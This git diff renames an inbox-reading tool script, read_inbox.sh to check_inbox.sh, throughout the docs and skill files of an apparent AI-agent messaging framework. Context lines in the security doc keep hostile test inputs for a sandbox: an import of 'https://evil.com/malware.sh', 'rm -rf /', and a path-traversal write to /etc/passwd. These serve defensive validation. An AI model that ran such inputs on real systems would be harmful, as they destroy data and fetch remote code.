diff --git a/docs/code-execution-examples.md b/docs/code-execution-examples.md
index 3a26ca9..dd1e5f1 100644
--- a/docs/code-execution-examples.md
+++ b/docs/code-execution-examples.md
@@ -14,7 +14,7 @@ agent_id="$1"
 count=0
 
 while true; do
-  msg=$(./read_inbox.sh "$agent_id" 2>&1)
+  msg=$(./check_inbox.sh "$agent_id" 2>&1)
   if [[ "$msg" == "No messages" ]]; then
     break
   fi
@@ -56,7 +56,7 @@ attempts=0
 max_attempts=10
 
 while [ $attempts -lt $max_attempts ]; do
-  msg=$(./read_inbox.sh "$agent_id" 2>&1)
+  msg=$(./check_inbox.sh "$agent_id" 2>&1)
   
   if echo "$msg" | grep -q "$keyword"; then
     echo "Found message with keyword: $keyword"
@@ -155,7 +155,7 @@ Route messages based on content:
 agent_id="$1"
 
 while true; do
-  msg=$(./read_inbox.sh "$agent_id" 2>&1)
+  msg=$(./check_inbox.sh "$agent_id" 2>&1)
   
   if [[ "$msg" == "No messages" ]]; then
     sleep 5
@@ -230,7 +230,7 @@ processed=0
 errors=0
 
 while true; do
-  msg=$(./read_inbox.sh "$agent_id" 2>&1)
+  msg=$(./check_inbox.sh "$agent_id" 2>&1)
   
   if [[ "$msg" == "No messages" ]]; then
     break
diff --git a/docs/code-execution-migration-guide.md b/docs/code-execution-migration-guide.md
index 3d1ae19..19663ea 100644
--- a/docs/code-execution-migration-guide.md
+++ b/docs/code-execution-migration-guide.md
@@ -26,7 +26,7 @@ MCP: { "content": [{"type": "text", "text": "[Message 1]\n[Message 2]\n..."}] }
 
 **After**:
 ```
-execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a"
+execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a"
 ```
 
 **Token savings**: Minimal for single calls, but enables further optimization
@@ -49,7 +49,7 @@ MCP: { "content": [...] }  // 5,000 tokens
 ```
 execute_code with code: "
 for agent_id in agent-1 agent-2 agent-3; do
-  bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) \$agent_id | wc -l
+  bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) \$agent_id | wc -l
 done | awk '{sum+=\$1} END {print \"Total messages:\", sum}'
 "
 ```
@@ -139,7 +139,7 @@ MCP: { "content": "State updated" }
 **After**:
 ```
 execute_code with code: "
-inbox=\$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a)
+inbox=\$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a)
 urgent_count=\$(echo \"\$inbox\" | grep -c URGENT || echo 0)
 
 if [ \$urgent_count -gt 0 ]; then
@@ -166,7 +166,7 @@ TOOL CALL read_inbox(agent_id: "82b93a8a")
 
 **After**:
 ```
-execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a"
+execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a"
 ```
 
 **Or use 9P directly**:
@@ -261,13 +261,13 @@ Code execution is better for:
 
 **Bad**:
 ```bash
-result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a)
+result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a)
 echo "$result"  # Could be 50,000 tokens
 ```
 
 **Good**:
 ```bash
-result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a)
+result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a)
 count=$(echo "$result" | wc -l)
 echo "Inbox has $count messages"  # ~10 tokens
 ```
@@ -276,18 +276,18 @@ echo "Inbox has $count messages"  # ~10 tokens
 
 **Bad**:
 ```bash
-result1=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) agent-1)
+result1=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) agent-1)
 echo "$result1"
-result2=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) agent-2)
+result2=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) agent-2)
 echo "$result2"
-result3=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) agent-3)
+result3=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) agent-3)
 echo "$result3"
 ```
 
 **Good**:
 ```bash
 for agent_id in agent-1 agent-2 agent-3; do
-  result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) "$agent_id")
+  result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) "$agent_id")
   count=$(echo "$result" | wc -l)
   echo "$agent_id: $count messages"
 done
@@ -297,13 +297,13 @@ done
 
 **Bad**:
 ```bash
-result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) invalid-id)
+result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) invalid-id)
 echo "$result"  # May fail silently
 ```
 
 **Good**:
 ```bash
-if result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) invalid-id 2>&1); then
+if result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) invalid-id 2>&1); then
   echo "$result"
 else
   echo "Failed to read inbox: $result" >&2
@@ -315,7 +315,7 @@ fi
 **Bad**:
 ```bash
 for i in {1..10}; do
-  tool=$(9p read anvillm/tools/anvilmcp/read_inbox.sh)
+  tool=$(9p read anvillm/tools/anvilmcp/check_inbox.sh)
   # Parse and use...
 done
 ```
@@ -324,7 +324,7 @@ done
 ```bash
 # Call tool directly each time
 for i in {1..10}; do
-  bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a
+  bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a
 done
 ```
 
diff --git a/docs/code-execution-security.md b/docs/code-execution-security.md
index 01eae41..6c62fe8 100644
--- a/docs/code-execution-security.md
+++ b/docs/code-execution-security.md
@@ -123,7 +123,7 @@ bash run \
 
 3. **Temporary Workspace**: Isolated per execution
 ```go
-workspace := filepath.Join(os.TempDir(), 
+workspace := filepath.Join(os.TempDir(),
     fmt.Sprintf("anvilmcp-%d", time.Now().UnixNano()))
 defer os.RemoveAll(workspace)
 ```
@@ -148,7 +148,7 @@ defer os.RemoveAll(workspace)
 
 1. **Execution Timeout**: Hard limit on execution time
 ```go
-ctx, cancel := context.WithTimeout(context.Background(), 
+ctx, cancel := context.WithTimeout(context.Background(),
     time.Duration(timeoutSec)*time.Second)
 defer cancel()
 
@@ -299,7 +299,7 @@ import { malicious } from "https://evil.com/malware.sh";
 3. **Local Imports Only**: Only import from workspace
 ```bash
 // Allowed
-# Call tools from anvillm/tools/anvilmcp/read_inbox.sh";
+# Call tools from anvillm/tools/anvilmcp/check_inbox.sh";
 
 // Blocked (outside workspace)
 import { evil } from "/etc/passwd";
@@ -472,7 +472,7 @@ func TestCodeValidation(t *testing.T) {
         {"bash.exit(1)", true},
         {"eval('malicious')", true},
     }
-    
+
     for _, tt := range tests {
         err := validateCode(tt.code)
         if (err != nil) != tt.shouldFail {
@@ -493,7 +493,7 @@ func TestSubprocessRestrictions(t *testing.T) {
     if err == nil {
         t.Error("Expected filesystem restriction, got success")
     }
-    
+
     // Test command whitelist
     code = `bash.run({cmd: ["rm", "-rf", "/"]})`
     _, err = executeCode(code, "bash", 10)
@@ -513,7 +513,7 @@ func TestSubprocessEscape(t *testing.T) {
         `bash.writeTextFileSync("../../../etc/passwd", "hacked")`,
         `import("https://evil.com/malware.sh")`,
     }
-    
+
     for _, code := range escapeAttempts {
         _, err := executeCode(code, "bash", 10)
         if err == nil {
diff --git a/docs/code-execution-user-guide.md b/docs/code-execution-user-guide.md
index d7dc5fe..958fbdd 100644
--- a/docs/code-execution-user-guide.md
+++ b/docs/code-execution-user-guide.md
@@ -15,7 +15,7 @@ Loading 100 tools upfront costs ~9,000 tokens (45% of a 200k context window). Wi
 9p ls anvillm/tools/anvilmcp
 
 # Read only the tool you need (~90 tokens)
-9p read anvillm/tools/anvilmcp/read_inbox.sh
+9p read anvillm/tools/anvilmcp/check_inbox.sh
 ```
 
 **Savings**: 97% (120 tokens vs 9,000 tokens)
@@ -45,7 +45,7 @@ echo "Found $count pending orders"
 
 2. **Read tool documentation**:
 ```bash
-9p read anvillm/tools/anvilmcp/read_inbox.sh
+9p read anvillm/tools/anvilmcp/check_inbox.sh
 ```
 
 3. **Call tool via MCP**:
@@ -107,7 +107,7 @@ agents=("agent-1" "agent-2" "agent-3")
 total_messages=0
 
 for agent_id in "${agents[@]}"; do
-  result=$(anvillm/tools/anvilmcp/read_inbox.sh "$agent_id")
+  result=$(anvillm/tools/anvilmcp/check_inbox.sh "$agent_id")
   count=$(echo "$result" | wc -l)
   total_messages=$((total_messages + count))
 done
@@ -141,7 +141,7 @@ echo "Processed $count contacts"
 All tools are accessed via 9P commands. Read tool documentation first:
 
 ```bash
-9p read anvillm/tools/anvilmcp/read_inbox.sh
+9p read anvillm/tools/anvilmcp/check_inbox.sh
 ```
 
 ### Communication
@@ -218,12 +218,12 @@ Cache tool paths instead of re-reading:
 ```bash
 # Bad: Re-read every time
 for i in {1..10}; do
-  9p read anvillm/tools/anvilmcp/read_inbox.sh
+  9p read anvillm/tools/anvilmcp/check_inbox.sh
 done
 
 # Good: Call directly
 for i in {1..10}; do
-  anvillm/tools/anvilmcp/read_inbox.sh "82b93a8a"
+  anvillm/tools/anvilmcp/check_inbox.sh "82b93a8a"
 done
 ```
 
@@ -232,7 +232,7 @@ done
 ```bash
 agents=("agent-1" "agent-2" "agent-3")
 for agent_id in "${agents[@]}"; do
-  anvillm/tools/anvilmcp/read_inbox.sh "$agent_id" &
+  anvillm/tools/anvilmcp/check_inbox.sh "$agent_id" &
 done
 wait
 echo "Processed ${#agents[@]} inboxes"
@@ -242,11 +242,11 @@ echo "Processed ${#agents[@]} inboxes"
 
 ```bash
 # Bad: Return all data
-result=$(anvillm/tools/anvilmcp/read_inbox.sh "82b93a8a")
+result=$(anvillm/tools/anvilmcp/check_inbox.sh "82b93a8a")
 echo "$result"  # Could be 50,000 tokens
 
 # Good: Return summary
-result=$(anvillm/tools/anvilmcp/read_inbox.sh "82b93a8a")
+result=$(anvillm/tools/anvilmcp/check_inbox.sh "82b93a8a")
 count=$(echo "$result" | wc -l)
 echo "Inbox has $count messages"  # ~10 tokens
 ```
@@ -311,7 +311,7 @@ MCP: { "content": [{"type": "text", "text": "Message sent"}] }
 
 ```
 Agent: TOOL CALL execute_code(code: "
-  result=$(anvillm/tools/anvilmcp/read_inbox.sh '82b93a8a')
+  result=$(anvillm/tools/anvilmcp/check_inbox.sh '82b93a8a')
   urgent=$(echo \"$result\" | grep -c 'URGENT')
   echo \"Found $urgent urgent messages\"
 ", language: "bash")
diff --git a/mcptools/read_inbox.sh b/mcptools/check_inbox.sh
similarity index 100%
rename from mcptools/read_inbox.sh
rename to mcptools/check_inbox.sh
diff --git a/scripts/update-tool-frontmatter.sh b/scripts/update-tool-frontmatter.sh
index bc34a95..be776b2 100644
--- a/scripts/update-tool-frontmatter.sh
+++ b/scripts/update-tool-frontmatter.sh
@@ -25,8 +25,8 @@ update_tool() {
 # send_message.sh
 update_tool "$TOOLS_DIR/send_message.sh" "messaging" "Send message to agent or user: FROM TO TYPE SUBJECT BODY"
 
-# read_inbox.sh  
-update_tool "$TOOLS_DIR/read_inbox.sh" "messaging" "Read agent inbox: AGENT_ID"
+# check_inbox.sh  
+update_tool "$TOOLS_DIR/check_inbox.sh" "messaging" "Read agent inbox: AGENT_ID"
 
 # list_sessions.sh
 update_tool "$TOOLS_DIR/list_sessions.sh" "agents" "List all running agent sessions"
diff --git a/skills/anvillm-communication/SKILL.md b/skills/anvillm-communication/SKILL.md
index 3bdbfb0..64db114 100644
--- a/skills/anvillm-communication/SKILL.md
+++ b/skills/anvillm-communication/SKILL.md
@@ -28,7 +28,7 @@ args: ["--to", "<id|user>", "--type", "<type>", "--subject", "<subject>", "--bod
 Check inbox:
 ```
 Tool: execute_code
-tool: read_inbox.sh
+tool: check_inbox.sh
 ```
 
 View message history:
diff --git a/skills/pcloudcc-testing/SKILL.md b/skills/pcloudcc-testing/SKILL.md
index ba14782..f59a661 100644
--- a/skills/pcloudcc-testing/SKILL.md
+++ b/skills/pcloudcc-testing/SKILL.md
@@ -86,7 +86,7 @@ args: ["<your-id>", "<testing-agent-id>", "PROMPT_REQUEST", "Validate fix", "Bug
 Read response (user notifies when ready):
 ```
 Tool: execute_code
-tool: read_inbox.sh
+tool: check_inbox.sh
 args: ["<your-id>"]
 ```